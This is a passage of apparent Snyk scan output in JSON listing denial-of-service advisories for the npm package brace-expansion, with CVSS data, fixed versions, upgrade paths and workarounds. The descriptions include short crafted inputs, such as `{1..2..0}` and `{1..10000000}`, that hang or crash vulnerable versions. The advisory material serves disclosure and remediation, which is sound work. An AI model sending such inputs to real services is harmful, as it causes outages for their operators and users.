"exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": 